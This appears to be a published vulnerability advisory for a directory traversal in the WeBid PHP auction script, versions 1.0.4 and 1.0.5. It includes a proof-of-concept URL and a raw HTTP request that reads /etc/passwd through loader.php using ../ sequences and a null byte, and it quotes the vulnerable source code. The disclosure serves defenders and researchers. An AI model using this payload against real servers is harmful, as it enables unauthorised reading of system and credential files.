# Author: loneferret of Offensive Security# Product: WeBid # Version: 1.0.4 & 1.0.5 (and maybe older versions)# Vendor Site: http://www.webidsupport.com# Software Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/WeBid%20v1.0.5/WeBid-1.0.5.zip/download/download# Other related vulnerabilities: http://www.exploit-db.com/exploits/22828/# Tested on: Ubuntu Linux# Software description:# WeBid is an open-source auction script package.# Although still in beta stages WeBid is one of the best open-source solutions # for getting an auction site up and running quickly and cheaply.# Written in the popular scripting language PHP and with a large collection of highly customisable # features WeBid is the prefect choice for setting up any auction site.# Some of it's key features which make WeBid a great choice are: WeBid has an easy to # use administration panel; a user friendly installation process, which allows you to have # your own auction site set up in minutes; an inbuilt payment system allowing your users to # easily pay fees and their purchased items with their favourite payment gateways (these include PayPal, Authorize.Net).# As well as being incredibly easy to edit to your liking.# Vulnerability:# Directory Traversal.# PoC:# http://server/path/loader.php?js=../../../../../../../../../../etc/passwd%00.js;# GET /WeBid/loader.php?js=../../../../../../../../../../etc/passwd%00.js; HTTP/1.1# Cookie: PHPSESSID=99ec7c29eb7e060d56bb77aa1320f6de; WEBID_ONLINE=eda35dc2ad7782db5dee1543be4daf4c# Host: 172.16.194.148# Connection: Keep-alive# Accept-Encoding: gzip,deflate# User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)# Accept: */*# Code loader.php# if (isset($_GET['js']))# { # $js = explode(';', $_GET['js']);#foreach ($js as $val)#{#$ext = substr($val, strrpos($val, '.') + 1);#if ($ext == 'php')#{#if (check_file($val))#{#include $val;#}#}#elseif ($ext == 'js' || $ext == 'css')# {#if (is_file($val))#{#echo file_get_contents($val);#echo "\n";#}#}# }# }